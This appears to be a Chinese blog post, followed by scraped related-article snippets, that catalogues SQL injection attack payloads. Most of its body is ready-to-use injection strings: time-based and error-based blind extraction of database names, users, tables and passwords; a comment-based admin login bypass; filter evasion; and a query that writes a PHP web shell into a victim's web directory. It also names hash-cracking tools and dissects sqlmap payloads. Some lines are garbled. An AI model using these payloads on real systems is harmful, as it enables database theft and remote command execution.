初探SQL注入

1.1注入语句(通过时间注入函数)

数据库名称

localhost:8080/ScriptTest/userServlet?username=‘union SELECT IF(SUBSTRING(current,1,1)=CHAR(101),BENCHMARK(10000000,ENCODE(‘sasssG‘,‘zcxczx‘)),null),count(*) FROM (SELECT Database() as current) as tbl;--  password=W

判断该数据库的系统用户名称

localhost:8080/ScriptTest/userServlet?username=‘ union SELECT IF(SUBSTRING(current,3,1)=CHAR(101),BENCHMARK(10000000,ENCODE(‘MSG‘,‘by 5 seconds‘)),null),count(*) FROM (SELECT SYSTEM_USER() as current) as tbl;--  password=W

判断该数据库的当前用户

localhost:8080/ScriptTest/userServlet?username=‘ union SELECT IF(SUBSTRING(current,3,1)=CHAR(101),BENCHMARK(10000000,ENCODE(‘MSG‘,‘by 5 seconds‘)),null),count(*) FROM (SELECT CURRENT_USER() as current) as tbl;--  password=W

判断该数据库最后一次进行插入操作的事务ID

localhost:8080/ScriptTest/userServlet?username=‘ union SELECT IF(SUBSTRING(current,3,1)=CHAR(101),BENCHMARK(10000000,ENCODE(‘MSG‘,‘by 5 seconds‘)),null),count(*) FROM (SELECT last_insert_id() as current) as tbl;--  password=W

判断某数据库下的表名字

localhost:8080/ScriptTest/userServlet?username=‘ union SELECT IF(SUBSTRING(current,1,1)=CHAR(97),BENCHMARK(10000000,ENCODE(‘MSG‘,‘by 5 seconds‘)),null),count(*) FROM (SELECT TABLE_NAME as current FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=‘MYTEST‘ order by create_time limit 0,1) as tbl;--  password=W

获取各类数据库标示信息

非盲跟踪:

PostgreSQL: SELECT version()

Oracle PL/SQL :  SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1

Mysql:SELECT version()  SELECT @@version

Microsoft SQL server:SELECT @@version

@@servername:安装SQL server的服务名称

@@language:当前所使用的语言名称

@@spid:当前用户的进程ID

各数据库使用的延迟时间方法

PostgreSQL: select pg_sleep –

Oracle PL/SQL :

BEGIN  DBMS_LOCK.SLEEP(5);  END;

或者   or 1=dbms_pipe.reveive_message(‘RDS’,10)

Mysql:sleep(n)   BENCHMARK(100000,ENCODE(‘HELLO’,’MON’));

Microsoft SQL server:xxx.jsp?uid=22;waitfor delay ‘0:0:5’; --

针对UNION不同数据库的报错信息

基于错误盲注

www.victim/xxx/xxx/aaa.asp?id=12/is_srvrolemember(‘sysadmin’)

函数返回

1 表示用户属于该组

0 用户不属于该组

NULL  该组不存在

所以12/x当x为1则返回正常界面,0则报错,根据于此判断

也可以根据CASE语句进行判断

CASE WHEN 条件 THEN ACTION1 ELSE ACTION2;

MySQL下可利用CASE 或者  IF

SELECT (CASE WHEN (database()=‘mytest‘) then 1 else 0 end);

也可利用IF函数

select if(database()=‘mytes1‘,1,0);

终止式sql注入(将一部分原有的sql语句注释掉  替换成自己的sql语句,以下是各个数据库注释)

SQL Sever    Oracle     PostgreSQL    -- ,  /*   */

MySQL   --   ,    # ,  /* */

用法:

1. 在被过滤输入空格的的情况下,可使用/**/代理空格

2. 在判定注入点时可以使用注释,若返回之前相同页面则可能存在注入

3. 冒充已知用户SELECT * FROM ADMINISTRATORS WHERE USERNAME=’admin’/*’ AND PASSWORD=’*/ ’‘;  这样只针对后台业务逻辑中存在只查看sql返回结果的ID,通过ID查询信息进入系统。如果后台验证输入与返回值得一致性的话则无法完成。

4. 利用字符串连接方式识别数据库类型

数据库


连接


SQL server


‘a’+’b’=’ab’


MySQL


‘a’ ‘b’=’ab’


Oracle  和  postgreSQL


‘a’||‘b’=’ab’

使用方法则是将注入点的参数拆分

多语句执行

1. Sqlserver6.0后加入了在一个连接句柄上执行多条sql语句的功能。

意味着可以在正常查询语句的后面加入一条update,insert,等语句实现更改权限,添加删除用户等操作。这样的功能一般都是关闭的。

2. 在mysql与web服务器运行在同一服务器上且运行mysql的用户有足够权限,那么上述命令会在web目录下创建一个允许执行任何命令的文件:

http://www.victim.com/search.php?s=test’;SELECT ‘<?php echo shell_exec($_GET["cmd"]);?>‘ input outfile ‘/var/www/victim.com/shell.php‘;--

堆叠查询

有一定局限性,PHP访问postgreSQL时,PHP允许堆叠查询,但访问MYSQL,PHP则不允许。

窃取hash口令破解工具

SQLserve:NGSSQLCrack或者in&Abel

05版本后密码查询在sys.sql_logins视图中。

05之前是在master数据库下sysxlogins表中  由pwdencrypt()函数生成

MySQL:John the Ripper打上John BigPatch补丁

postgreSQL: 若username为bar  passwod为foo,也允许明文存储密码。

HASH=‘md5‘ || MD5(‘foobar‘)=md53858f62230ac3c915f300c664312c63f

Oracle:sys.use$表的password列存储数据库账户的哈希口令。dba_users试图指向该表,从11开始哈希口令不再出现dba_users谁中。并存在spare4的列下,默认下,sys.user$存在旧的和新的hash口令针对SHA1 ORACLE最快的是GSAuditor针对DES最快的是Laszlo Thth。以下是常用获取明文命令。

非主流通道

SQL注入获取系统敏感文件

绕过过滤器

1. 对于通过关键字过滤的过滤器可通过变换大小写来实现

2. select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins whee name =‘sa‘

sqlmap注入脚本分析

基于时间的盲注

sqlMAP根据时间进行盲注主要对mysql数据库使用如两条下语句

判定数据库名称

SELECT * FROM userinfo WHERE username=‘illidan‘ RLIKE (SELECT 2510=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64),SLEEP(5),2510)) AND ‘vVVl‘=‘vVVl‘ AND password=‘198226198484‘;

判定数据库密码

SELECT * FROM userinfo WHERE username=‘illidan‘ RLIKE (SELECT 2136=IF((ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM mytest.userinfo ORDER BY password LIMIT 1,1),1,1))>8),SLEEP(5),2136)) AND ‘NdHl‘=‘NdHl‘ AND password=‘198226198484‘;

Sql语句说明

从RLIKE以后的中心开始看起

1. CAST(xxx as 类型)将目标值做成一个数据类型

2. IFNULL(exper1,exper2)函数中如果exper1不为NULL则返回exper1

3. MIDIE截取字符串与subsring类似

4. ORD读出字符的ASCELL码值

5. IF(xx>64,SLEEP(5),2510))在判定其值如果大于64则睡眠5秒,第三个参数是表达式为假的返回的结果。

6. Sqlmap再根据启发式判断其目标值

RLIKE正则表达式匹配可用于代替union连接自定义select语句,没有列数相同的限制。

0x20 空格

union的话需要判定原来sql语句查询出的列数,因为union级联两个查询需要两个查询的列数相同,在union盲注中会经常用到

CAST()和CONVERT() 函数可获取一个类型值,并产生另一个类型值

MID()截断字符串

ORD(获取第一个字符的ASCLL码)

时间: 2024-10-10 22:12:43

初探SQL注入的相关文章

『SQL注入』 User-Agent 手工注入的探测与利用分析

原理很简单:后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行. Bug 代码: 本地顺手打了一个环境,Bug 代码部分: // 保存到访者的IP信息 $db=DBConnect(); $tbLog=$db->tbPrefix.'log'; $executeArr=array('ip'=>($_SERVER["HTTP_VIA"])?$_SERVER["HTTP_X_FORWARDED_

WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Webshell上传.命令注入.非法HTTP协议请求.非授权文件访问等.

sql注入初中高学习

以下三篇文件关于SQL注入写的很通俗易懂,整理收藏下 渗透攻防Web篇-SQL注入攻击初级: http://bbs.ichunqiu.com/thread-9518-1-1.html 渗透攻防Web篇-SQL注入攻击中级: http://bbs.ichunqiu.com/thread-9668-1-1.html 渗透攻防Web篇-SQL注入攻击高级: http://bbs.ichunqiu.com/thread-10093-1-1.html

php中防止SQL注入的方法

[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行 php能够更安全.整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击,一下我们慢慢探讨.我们先使用任何编辑工具打开 /etc/local/apache2/conf/php.ini,如果你是采用其他方式安装,配置文件

sql注入总结

本实验测试是基于sqli-labs的实验环境 环境配置:php+mysql 环境搭建请参考 http://www.freebuf.com/articles/web/34619.html Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的 sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲注和布尔型的盲注 基于user-agent 基于feferer 基于cookie 二次注入 宽字节注入 注入一个网站

SQL注入解决思路(C#示例)

最近在编程中遇到一个SQL注入防护的问题.在这里顺便把SQL注入小结一下.以MYSQL(5.1)为例. 一.常规的SQL语句 观察SQL语句 SELECT * FROM [tableName] WHERE col1='value1' 这个语句由3个部分组成,SELECT子句筛选得到结果,FROM子句指定了筛选的范围,WHERE子句指定了条件.当在其中进行如下置换: SELECT * FROM [tableName] WHERE 1 之后,选出了[tableName]表中的全部内容.分析其语法不难

微擎SQL注入漏洞

漏洞名称:微擎SQL注入漏洞 补丁文件:/web/source/mc/card.ctrl.php 补丁来源:阿里云云盾自研 漏洞描述:微擎CMS的/web/source/mc/card.ctrl.php中,对cardid输入参数未进行严格类型转义,导致SQL注入的发生 解决方法 搜索代码 if ($do == 'manage') 如下图: 在 201 行 前添加代码 $_GPC['cardid'] = intval($_GPC['cardid']); 修改后如图: 补丁文件:/web/sourc

SQL注入之SQLmap入门

什么是SQLmap? SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹.访问底层文件系统.执行命令). 读者可以通过位于SourceForge的官方网站下载SQLmap源码:http://sourceforge.net/projects/sqlmap/ SQLmap的作者是谁? Bernardo DameleAssumpcao Guimaraes (@inquisb),读者可以通过[email protected]与他取得联

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/phpcms_v9/index.php?m=member&c=index&a=login dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2